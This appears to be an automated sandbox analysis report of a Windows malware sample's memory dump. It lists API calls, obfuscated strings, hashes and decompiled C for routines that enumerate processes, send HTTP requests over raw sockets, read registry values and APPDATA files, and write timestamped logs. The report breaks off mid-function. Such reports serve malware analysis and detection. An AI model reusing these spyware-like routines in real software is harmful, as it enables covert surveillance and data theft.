Part of subcall function 0041236C: malloc.MSVCRT ref: 0041237C

Part of subcall function 00407F7A: LoadLibraryA.KERNEL32 ref: 00407F84

Part of subcall function 00407F8E: GetProcAddress.KERNEL32 ref: 00407FA0

malloc.MSVCRT ref: 00402760
htons.WS2_32 ref: 004027C2
htons.WS2_32 ref: 0040280F
htons.WS2_32 ref: 004029AC
inet_ntoa.WS2_32 ref: 004029BA
inet_ntoa.WS2_32 ref: 0040281D

Part of subcall function 00402570: CreateToolhelp32Snapshot.KERNEL32 ref: 004025BF
Part of subcall function 00402570: Process32First.KERNEL32 ref: 004025DF
Part of subcall function 00402570: CloseHandle.KERNEL32 ref: 0040261E

inet_ntoa.WS2_32 ref: 004027D0

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

malloc.MSVCRT ref: 00402948

Strings

psapi.dll, xrefs: 00402659
@, xrefs: 004029D5
kernel32.dll, xrefs: 00402669
Ed5jf5dRSdSuSsqCVid, xrefs: 00402699
%s:%u, xrefs: 004027E3, 0040282C
%s:%d, xrefs: 004029CD
iphlpapi.dll, xrefs: 0040264D
Ed5jf5dRSdSqYsqCVid, xrefs: 00402679
Ed590WYd66XlCnd_4idLCldD, xrefs: 004026B7, 004026DB

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: htonsinet_ntoamalloc$AddressCloseCreateFirstHandleLibraryLoadProcProcess32SnapshotToolhelp32_vsnprintf
String ID: %s:%d$%s:%u$@$Ed590WYd66XlCnd_4idLCldD$Ed5jf5dRSdSqYsqCVid$Ed5jf5dRSdSuSsqCVid$iphlpapi.dll$kernel32.dll$psapi.dll
API String ID: 3806733647-1859760768
Opcode ID: 509372391fbaea05024ef59af88972020891577ff80d84ecfeba2467cf68ae9c
Instruction ID: 64c6eb304da1bd60933a222d55b1bae016526deff2b752f498ff56c04a6099ea
Opcode Fuzzy Hash: 509372391fbaea05024ef59af88972020891577ff80d84ecfeba2467cf68ae9c
Instruction Fuzzy Hash: 28D1A3B4908341ABC710AF65C58965EFBF0BF84748F418C2EF8C897291D7B9D988CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC15, Relevance: 27.2, APIs: 6, Strings: 12, Instructions: 218COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041AC2A
malloc.MSVCRT ref: 0041AC8B
free.MSVCRT ref: 0041AC9F

Part of subcall function 00414FEF: realloc.MSVCRT ref: 00415034

free.MSVCRT ref: 0041AF2C
free.MSVCRT ref: 0041AF38
free.MSVCRT ref: 0041AF8A

Strings

N, xrefs: 0041ADF4
A, xrefs: 0041AEC3
), xrefs: 0041ACB5
I, xrefs: 0041AE2D
G, xrefs: 0041ADFD
I, xrefs: 0041AEAC
R, xrefs: 0041AE3C
D, xrefs: 0041AE37
P, xrefs: 0041ADD0
D, xrefs: 0041AEBE
T, xrefs: 0041AED0
H, xrefs: 0041AE32

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: free$malloc$realloc
String ID: )$A$D$D$G$H$I$I$N$P$R$T
API String ID: 10190057-4026286603
Opcode ID: f7e0d66e6706360943002546ce2ae5a522dee07f1adf161bc0e3ce1e523a7a0e
Instruction ID: 7b50295ee95f3483ab7dff93a2a89c17451d79e52031df4d4eaf42e24e8d509c
Opcode Fuzzy Hash: f7e0d66e6706360943002546ce2ae5a522dee07f1adf161bc0e3ce1e523a7a0e
Instruction Fuzzy Hash: 14A1D27110D3809ED311DB69C48438FFFE1ABA6308F44895EE5C89B382D7B99989CB57

Uniqueness

Uniqueness Score: -1.00%

Function 0040FE8C, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 184
timeprocessCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E0040FE8C(void* __ecx, void* __edx) {
				intOrPtr _v0;
				void* _v8;
				char _v552;
				char _v1068;
				char _v1328;
				long _v1356;
				char _v1360;
				char _v1364;
				char _v1396;
				struct _SYSTEMTIME _v1412;
				intOrPtr _v1420;
				char _v1424;
				int _v1428;
				char _v1432;
				char _v1440;
				FILETIME* _v1448;
				signed int _v1476;
				signed int _v1480;
				signed int _v1484;
				signed int _v1488;
				long _v1492;
				signed int _v1496;
				int _v1500;
				int _v1504;
				void* _v1508;
				void* _t76;
				int _t80;
				void* _t83;
				intOrPtr* _t85;
				void* _t87;
				int _t89;
				int _t90;
				void* _t96;
				int _t98;
				int _t109;
				void* _t118;
				void* _t119;
				void* _t123;
				void* _t124;
				void* _t125;
				void* _t126;
				FILETIME* _t127;
				intOrPtr* _t129;
				void* _t131;
				void* _t132;
				signed int _t135;
				void** _t136;
				void* _t137;

				_t126 = __edx;
				_t125 = __ecx;
				_t136 =  &_v1484;
				_v1496 = 0;
				_t76 = CreateToolhelp32Snapshot(2);
				_push(_t126);
				_push(_t126);
				if(_t76 == 0xffffffff) {
					L3:
					return E00405D7D(_t126, _v0, 0xbf, 0, 0);
				}
				_t123 = _t76;
				_v1360 = 0x128;
				_v1504 = _t123;
				_v1500 =  &_v1360;
				_t80 = Process32First(??, ??);
				_push(_t134);
				if(_t80 != 0) {
					E0041236C( &_v1424, 0x8000);
					_t83 = E004081AA("Ed5FWSQid_4idLCldjfD");
					_t85 = E00407F8E(_t126, E00407F7A(_t126, "psapi.dll"), _t83);
					_t129 = _t85;
					if(_t85 == 0) {
						_t119 = E004081AA("Ed5FWSQid_4idLCldjfD");
						_t129 = E00407F8E(_t126, E00407F7A(_t126, "kernel32.dll"), _t119);
					}
					_t135 =  &_v552;
					do {
						_t87 = OpenProcess(0x410, 0, _v1356);
						_t137 = _t136 - 0xc;
						_t131 = _t87;
						if(_t87 == 0 || _t129 == 0) {
							L10:
							E00412548(_t135, 0x424374, 0x204);
							goto L11;
						} else {
							_v1496 = 0x204;
							_v1500 = _t135;
							_v1504 = 0;
							_v1508 = _t87;
							_t118 =  *_t129();
							_t137 = _t137 - 0x10;
							if(_t118 != 0) {
								L11:
								_t89 =  &_v1432;
								_t127 =  &_v1440;
								_v1508 = _t131;
								_v1492 = _t89;
								_v1496 = _t89;
								_v1500 = _t89;
								_v1504 = _t127;
								_v1448 = _t127;
								_t90 = GetProcessTimes(??, ??, ??, ??, ??);
								_t136 = _t137 - 0x14;
								if(_t90 == 0) {
									L23:
									E00412548( &_v1396, 0x424374, 0x20);
									goto L14;
								}
								_t127 = _v1448;
								if(_v1440 == 0) {
									goto L23;
								}
								_t109 = FileTimeToSystemTime(_t127,  &_v1412);
								_push(_t109);
								_push(_t109);
								_v1500 = "%.2d/%.2d/%d %.2d:%.2d:%.2d";
								_v1504 = 0x20;
								_v1476 = _v1412.wSecond & 0x0000ffff;
								_v1480 = _v1412.wMinute & 0x0000ffff;
								_v1484 = _v1412.wHour & 0x0000ffff;
								_v1488 = _v1412.wYear & 0x0000ffff;
								_v1492 = _v1412.wMonth & 0x0000ffff;
								_v1496 = _v1412.wDay & 0x0000ffff;
								_v1508 =  &_v1396;
								E004127A8();
								goto L14;
							}
							goto L10;
						}
						L14:
						if(_t131 != 0) {
							CloseHandle(_t131);
							_push(_t131);
						}
						_t132 =  &_v1068;
						_v1488 = _t135;
						_v1500 = 0x424376;
						_v1504 = 0x204;
						_v1484 =  &_v1396;
						_v1508 = _t132;
						_v1492 = _v1356;
						_v1496 =  &_v1328;
						_t96 = E004127A8();
						if(_t96 > 0) {
							E00412458( &_v1424, _t127,  &_v1424, _t132, _t96);
						}
						_v1508 = _t123;
						_v1504 =  &_v1364;
						_t98 = Process32Next(??, ??);
						_push(_t125);
						_push(_t125);
					} while (_t98 != 0);
					 *_t136 = _t123;
					CloseHandle(??);
					_push(_t127);
					_t124 =  &_v1428;
					if(_v1420 == 0) {
						_v1500 = 0;
						_v1504 = 0;
						_v1508 = 0xbf;
					} else {
						 *_t136 = _t124;
						_v1500 = E00412540();
						_v1508 = 0xbe;
						_v1504 = _v1428;
					}
					 *_t136 = _v8;
					E00405D7D(_t127);
					 *_t136 = _t124;
					return E004123B1();
				}
				CloseHandle(_t123);
				goto L3;
			}

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0040FEA5
Process32First.KERNEL32 ref: 0040FECC
CloseHandle.KERNEL32 ref: 0040FEDA

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

OpenProcess.KERNEL32 ref: 0040FF95
GetProcessTimes.KERNEL32 ref: 0040FFFE
FileTimeToSystemTime.KERNEL32 ref: 00410028
CloseHandle.KERNEL32(00000000,00000000), ref: 00410088
Process32Next.KERNEL32 ref: 004100F5
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 00410107

Strings

psapi.dll, xrefs: 0040FF2C
%.2d/%.2d/%d %.2d:%.2d:%.2d, xrefs: 00410034
, xrefs: 0041016B
Ed5FWSQid_4idLCldjfD, xrefs: 0040FF20, 0040FF4C
, xrefs: 0041003C
kernel32.dll, xrefs: 0040FF58

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$ProcessProcess32Time$CreateFileFirstNextOpenSnapshotSystemTimesToolhelp32_vsnprintf
String ID: $ $%.2d/%.2d/%d %.2d:%.2d:%.2d$Ed5FWSQid_4idLCldjfD$kernel32.dll$psapi.dll
API String ID: 1698657367-116260847
Opcode ID: 29e0c6c4af74bcfaac4a1d46f5b8779cc5999e189975c46573ebb5cc9df879ed
Instruction ID: 6fadafcb3b73e839ba5121377a1d1d4624def229cb7cc3727062cbee2f3d546e
Opcode Fuzzy Hash: 29e0c6c4af74bcfaac4a1d46f5b8779cc5999e189975c46573ebb5cc9df879ed
Instruction Fuzzy Hash: BB81C3B0408741AED720AF25C54566FBBE4AF85748F018D2EF8D887351E7BDC989CB46

Uniqueness

Uniqueness Score: -1.00%

Function 004093E7, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 177networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00409442

Part of subcall function 004051B5: gethostbyname.WS2_32 ref: 004051C5
Part of subcall function 004051B5: htons.WS2_32 ref: 00405202

connect.WS2_32 ref: 0040948F
send.WS2_32 ref: 004094F4
recv.WS2_32 ref: 00409533

Strings

GET %s HTTP/1.1Host: %s User-Agent: Mozilla/4.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.8Connection: close, xrefs: 004094B5
, xrefs: 0040957B
200 OK, xrefs: 00409560

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: connectgethostbynamehtonsrecvsendsocket
String ID: $200 OK$GET %s HTTP/1.1Host: %s User-Agent: Mozilla/4.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.8Connection: close
API String ID: 2370112503-3508414588
Opcode ID: e07faabcde73fad5de2f234cc241048b4efe75730fad398a918129e32e759b8a
Instruction ID: e31714b0b2c18d3bfe683e3de1011ef27751aa1e39aef002969c9c8643353b02
Opcode Fuzzy Hash: e07faabcde73fad5de2f234cc241048b4efe75730fad398a918129e32e759b8a
Instruction Fuzzy Hash: 1471E8B05087059FD710AF6AC58539ABBE0EF84348F418D2EE4D897392D7BD89898B47

Uniqueness

Uniqueness Score: -1.00%

Function 00409E61, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 87registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00407F7A: LoadLibraryA.KERNEL32 ref: 00407F84

Part of subcall function 00407F8E: GetProcAddress.KERNEL32 ref: 00407FA0

RegisterClassExW.USER32 ref: 00409F29

Strings

Ed5rCgXRsQ5aC5C, xrefs: 00409EB8
rdn465d0rCgXRsQ5ad24Yd6, xrefs: 00409E7A
user32.dll, xrefs: 00409E86, 00409EC4
ssdaClass, xrefs: 00409E69
0, xrefs: 00409EEF
0, xrefs: 00409F0A

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressClassLibraryLoadProcRegister
String ID: 0$0$Ed5rCgXRsQ5aC5C$rdn465d0rCgXRsQ5ad24Yd6$ssdaClass$user32.dll
API String ID: 3006457887-2341246112
Opcode ID: eed60d624a5036191c5a01f9f44c180ff77991b3a128f902be9f0c859de88d18
Instruction ID: dc59c3b724a470855dcc4065ae2b59d1d9b3c777af613543eb6a0d926dcb9681
Opcode Fuzzy Hash: eed60d624a5036191c5a01f9f44c180ff77991b3a128f902be9f0c859de88d18
Instruction Fuzzy Hash: 863108B05183019AE310BF25D55531FBAE0BF84348F41892EF4C4AB292D7BD8949CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00413EB3, Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 274COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00413F0A
_wfopen.MSVCRT ref: 00413F1D
fgetpos.MSVCRT ref: 00413F62
MultiByteToWideChar.KERNEL32 ref: 004141E8
_wfopen.MSVCRT ref: 004141FB
_wfopen.MSVCRT ref: 00413F92

Part of subcall function 00407FC3: fgetpos.MSVCRT ref: 00407FE9

fread.MSVCRT ref: 00414339

Strings

rb+, xrefs: 00413F12
%llu, xrefs: 0041408E
%c%llu, xrefs: 0041402D, 00414257

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _wfopen$ByteCharMultiWidefgetpos$fread
String ID: %c%llu$%llu$rb+
API String ID: 938800225-3124885484
Opcode ID: 950e416187ae905cf82d7dafeef771dc36a792c2880a9897fab731ecdff24896
Instruction ID: fdcfd7fcdd99f777d3a34adf36677ce69dcc47347dc1f65e5ed97d3c26df3997
Opcode Fuzzy Hash: 950e416187ae905cf82d7dafeef771dc36a792c2880a9897fab731ecdff24896
Instruction Fuzzy Hash: 75D1E7B45087459FC310EF65C1886AABBE0BF89308F15C97EE8D897352D7789885CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00410ADA, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 230registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00410B26
RegEnumValueA.ADVAPI32 ref: 00410B7F
RegQueryValueExA.ADVAPI32 ref: 00410BF6
RegQueryValueExA.ADVAPI32 ref: 00410C92

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

RegQueryValueExA.ADVAPI32 ref: 00410DA4
malloc.MSVCRT ref: 00410DBB
RegQueryValueExA.ADVAPI32 ref: 00410DEB
RegCloseKey.ADVAPI32 ref: 00410EAE

Strings

CB, xrefs: 00410E30, 00410E82

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$Query$CloseEnumOpen_vsnprintfmalloc
String ID: CB
API String ID: 4070552197-2813831398
Opcode ID: f7651306a7a8233979b95d8d2ccdd1888e6c7b0b60ad471e0b2bac897fc462b4
Instruction ID: f9e542294e120a942ba3f9c894af39fbc12760f83aa3f443d205d2010ae74b6d
Opcode Fuzzy Hash: f7651306a7a8233979b95d8d2ccdd1888e6c7b0b60ad471e0b2bac897fc462b4
Instruction Fuzzy Hash: E2B16BB45083419FD710EF6AC18479BFBE4BF88744F408D2EE89887351E7B9D5898B86

Uniqueness

Uniqueness Score: -1.00%

Function 0040970C, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 132filetimeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00409733
CloseHandle.KERNEL32 ref: 0040979A
CloseHandle.KERNEL32 ref: 004097B3
MultiByteToWideChar.KERNEL32 ref: 0040982A
CreateFileW.KERNEL32 ref: 00409865
SetFilePointer.KERNEL32 ref: 004098A1
WriteFile.KERNEL32 ref: 00409936

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

%s%.2d-%.2d-%.4d, xrefs: 0040975F
[%.2d/%.2d/%d %.2d:%.2d:%.2d], xrefs: 004098B2
%AppData%\Logs\, xrefs: 00409757, 004097DC, 004097EC

Memory Dump Source

Source File: 00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.394118318.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.394126982.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: File$CloseHandle$ByteCharCreateLocalMultiPointerTimeWideWrite_vsnprintf
String ID: %AppData%\Logs\$%s%.2d-%.2d-%.4d$[%.2d/%.2d/%d %.2d:%.2d:%.2d]
API String ID: 1679277924-2266008900
Opcode ID: 4e2e8c59022566be6e83790a85539b938eb59b7fa42426b377093483d846f68c
Instruction ID: e376d887f57f93dc865b5eaaf6567e86db3f04f64e7ab8cebec23d02cc14b5b1
Opcode Fuzzy Hash: 4e2e8c59022566be6e83790a85539b938eb59b7fa42426b377093483d846f68c
Instruction Fuzzy Hash: E9512DB05083009BC310EF26D54426BBBF0BB85718F518A2EF4D497392D7BD9989CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401421, Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 101COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00401428
getenv.MSVCRT ref: 00401559

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040159B

Strings

s, xrefs: 00401528
%, xrefs: 00401538
TEMP, xrefs: 00401550
s, xrefs: 00401540
%, xrefs: 0040151E
\, xrefs: 00401530
%s\%s.%s, xrefs: 0040145A

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$_vsnprintfmalloc
String ID: %$%$%s\%s.%s$TEMP$\$s$s
API String ID: 3160696619-3075679649
Opcode ID: ca09603a6fb3c31e46f94ea190ba63cd36d7fdd7c598f72b2894dd74d252403c
Instruction ID: f04d716bfdf1a3b2f19b14ba05fef692e22545d8b3c1490e52eb58049ae1adaa
Opcode Fuzzy Hash: ca09603a6fb3c31e46f94ea190ba63cd36d7fdd7c598f72b2894dd74d252403c
Instruction Fuzzy Hash: 435196B040C385DEE720EF25D54879EBBE0BF84348F408D2EE5D887281E7B99588DB56

Uniqueness

Uniqueness Score: -1.00%

Function 0040C197, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 83fileCOMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040C1B8

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

getenv.MSVCRT ref: 0040C1F6

Part of subcall function 00407F59: free.MSVCRT ref: 00407F6A

fopen.MSVCRT ref: 0040C22C
malloc.MSVCRT ref: 0040C259
fread.MSVCRT ref: 0040C27D
fclose.MSVCRT ref: 0040C2B0
fclose.MSVCRT ref: 0040C2CA

Strings

%6\Tsd0C\Tsd0C\gCRS.SC5, xrefs: 0040C1BD
APPDATA, xrefs: 0040C1B1, 0040C1EF
%6\Tsd0C\Tsd0C\s0W84id\gCRS.SC5, xrefs: 0040C1FB

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclosegetenv$AttributesByteCharFileMultiWide_vsnprintffopenfreadfreemalloc
String ID: %6\Tsd0C\Tsd0C\gCRS.SC5$%6\Tsd0C\Tsd0C\s0W84id\gCRS.SC5$APPDATA
API String ID: 164930318-733405003
Opcode ID: 6f265e7767bb09b1958d82cec7efb8e1d7851cee31c0bd1cca4d9617d6bfff10
Instruction ID: 923c2ccaee423b8f51ada5992f51b5999be8c953822dc98e8fb21a0b7bf81a7a
Opcode Fuzzy Hash: 6f265e7767bb09b1958d82cec7efb8e1d7851cee31c0bd1cca4d9617d6bfff10
Instruction Fuzzy Hash: 113118B05087019ED710BFA6D58526EFBE4AF94358F41883EE4D89B392D77CC4858B4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4BC, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 155libraryloadertimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041236C: malloc.MSVCRT ref: 0041237C

LoadLibraryA.KERNEL32 ref: 0040A519
GetProcAddress.KERNEL32 ref: 0040A53C
GetProcAddress.KERNEL32 ref: 0040A55A
GetProcAddress.KERNEL32 ref: 0040A576
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040A604

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

Strings

m6CjRQld0C5dmWnWRMd664WR6, xrefs: 0040A563
MdYQ0Nh.Sii, xrefs: 0040A50A
m6C_0ddrd5Q0RcQ88d0, xrefs: 0040A543
m6CEd5mWnWRMd664WRaC5C, xrefs: 0040A529

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$CriticalSectionTime$EnterFileLeaveLibraryLoadSystemmalloc
String ID: MdYQ0Nh.Sii$m6CEd5mWnWRMd664WRaC5C$m6C_0ddrd5Q0RcQ88d0$m6CjRQld0C5dmWnWRMd664WR6
API String ID: 2869995242-3174184691
Opcode ID: 19d6fc8c2d1306d8d053f19c73e800395e5ac708471e6663d3d13c85d9c19fe9
Instruction ID: 94c08b94b57df9e53fa0a2455e2e566f66701f19132ff7a1c430a127e0c0603f
Opcode Fuzzy Hash: 19d6fc8c2d1306d8d053f19c73e800395e5ac708471e6663d3d13c85d9c19fe9
Instruction Fuzzy Hash: 9761DEB44087109FD710AF26C584A6BBBF4BF88704F01892EE8D897391E7799985CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0040970C, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 132filetimeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00409733
CloseHandle.KERNEL32 ref: 0040979A
CloseHandle.KERNEL32 ref: 004097B3
MultiByteToWideChar.KERNEL32 ref: 0040982A
CreateFileW.KERNEL32 ref: 00409865
SetFilePointer.KERNEL32 ref: 004098A1
WriteFile.KERNEL32 ref: 00409936

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

[%.2d/%.2d/%d %.2d:%.2d:%.2d], xrefs: 004098B2
%s%.2d-%.2d-%.4d, xrefs: 0040975F

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CloseHandle$ByteCharCreateLocalMultiPointerTimeWideWrite_vsnprintf
String ID: %s%.2d-%.2d-%.4d$[%.2d/%.2d/%d %.2d:%.2d:%.2d]
API String ID: 1679277924-2943188010
Opcode ID: 4e2e8c59022566be6e83790a85539b938eb59b7fa42426b377093483d846f68c
Instruction ID: e376d887f57f93dc865b5eaaf6567e86db3f04f64e7ab8cebec23d02cc14b5b1
Opcode Fuzzy Hash: 4e2e8c59022566be6e83790a85539b938eb59b7fa42426b377093483d846f68c
Instruction Fuzzy Hash: E9512DB05083009BC310EF26D54426BBBF0BB85718F518A2EF4D497392D7BD9989CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DB, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 91fileCOMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040C2F3

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

fopen.MSVCRT ref: 0040C330
fgets.MSVCRT ref: 0040C35E
fclose.MSVCRT ref: 0040C455

Strings

<s0W5WYWi>, xrefs: 0040C36B
APPDATA, xrefs: 0040C2E4
%6\.sQ0sid\CYYWQR56.fli, xrefs: 0040C2F8
<RCld>, xrefs: 0040C3F1
<sC66gW0S>, xrefs: 0040C42A

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _vsnprintffclosefgetsfopengetenv
String ID: %6\.sQ0sid\CYYWQR56.fli$<RCld>$<s0W5WYWi>$<sC66gW0S>$APPDATA
API String ID: 3106633423-1218082621
Opcode ID: f5b2f3e6b188a2a81523bee3868d1dc16278d61a1535bb2d55c529db898f20e7
Instruction ID: 6048a10f2db6f6121dbf09b1e91f7eeb88fe885a8aaa66a3f769cde923567c5e
Opcode Fuzzy Hash: f5b2f3e6b188a2a81523bee3868d1dc16278d61a1535bb2d55c529db898f20e7
Instruction Fuzzy Hash: EC41D8B0408311DAD310AF25D58526EBAF4BF84758F50CA2FE4D897381D77C8585DB5B

Uniqueness

Uniqueness Score: -1.00%

Function 00411770, Relevance: 15.2, APIs: 10, Instructions: 170
networkCOMMON

Download Yara Rule

C-Code - Quality: 31%

			E00411770(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v16;
				char _v20;
				char _v24;
				int _v28;
				intOrPtr _v36;
				intOrPtr _v56;
				int _v72;
				intOrPtr _v80;
				intOrPtr _v92;
				intOrPtr _v280;
				intOrPtr _v284;
				char _v288;
				intOrPtr _v540;
				intOrPtr _v544;
				char _v548;
				intOrPtr _v552;
				char _v556;
				void* _v560;
				char _v576;
				char _v588;
				char* _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				char _v620;
				intOrPtr _v636;
				intOrPtr _v644;
				intOrPtr _v652;
				int _v656;
				intOrPtr _v660;
				intOrPtr _v668;
				intOrPtr _v672;
				intOrPtr _v676;
				intOrPtr _v692;
				int _v696;
				intOrPtr _v700;
				intOrPtr _v708;
				intOrPtr _v712;
				intOrPtr _v716;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t59;
				char _t61;
				intOrPtr _t62;
				char _t69;
				int _t70;
				intOrPtr _t72;
				intOrPtr _t75;
				int _t76;
				intOrPtr _t78;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				void* _t87;
				intOrPtr _t88;
				intOrPtr _t89;
				char* _t90;
				void* _t91;
				char* _t92;
				intOrPtr* _t93;
				char _t99;

				_t87 = __ecx;
				_t93 =  &_v604;
				_t56 = malloc(0x4000);
				_v560 = _t56;
				if(_t56 != 0) {
					_t88 = _a4;
					_t57 = _a8;
					if(_t57 < _t88) {
						_t57 = _t88;
					}
					_t90 =  &_v288;
					_v576 = _t57 + 1;
					goto L4;
					do {
						do {
							do {
								L4:
								_t89 = _a8;
								_t59 = _a4;
								_v556 = 0x1e;
								_v552 = 0;
								_v548 = 1;
								_v544 = _t89;
								if(_t89 != _t59) {
									_v540 = _t59;
									_v548 = 2;
								}
								_v284 = _t89;
								_v288 = 1;
								if(_t89 != _t59) {
									_v280 = _t59;
									_v288 = 2;
								}
								_t92 =  &_v548;
								_v608 = _t90;
								_v612 = 0;
								_v604 =  &_v556;
								_t61 = _v576;
								_v616 = _t92;
								_v620 = _t61;
								L0041F904();
								_t93 = _t93 - 0x14;
								_t99 = _t61;
							} while (_t99 == 0);
							if(_t99 >= 0) {
								_t62 = _v16;
								_v636 = _t90;
								 *_t93 = _t62;
								L0041F94C();
								_push(_t91);
								_push(_t91);
								if(_t62 != 0) {
									goto L8;
								}
								_t69 = _v20;
								_v644 = _t90;
								 *_t93 = _t69;
								L0041F94C();
								_push(_t84);
								if(_t69 != 0) {
									goto L8;
								}
								_t70 = _v28;
								_v652 = _t92;
								_v656 = _t70;
								L0041F94C();
								_push(_t87);
								_push(_t87);
								if(_t70 != 0) {
									_v652 = 0;
									_v656 = 0x4000;
									_v660 = _v604;
									_t72 = _v36;
									 *_t93 = _t72;
									L0041F90C();
									_t93 = _t93 - 0x10;
									_t85 = _t72;
									if(_t72 <= 0) {
										goto L8;
									}
									_t91 = 0;
									do {
										_v668 = 0;
										_v672 = _t85;
										_v676 = _v620 + _t91;
										_t75 = _v56;
										 *_t93 = _t75;
										L0041F8FC();
										_t93 = _t93 - 0x10;
										if(_t75 != 0xffffffff) {
											_t85 = _t85 - _t75;
											_t91 = _t91 + _t75;
											goto L20;
										}
										E004051B0();
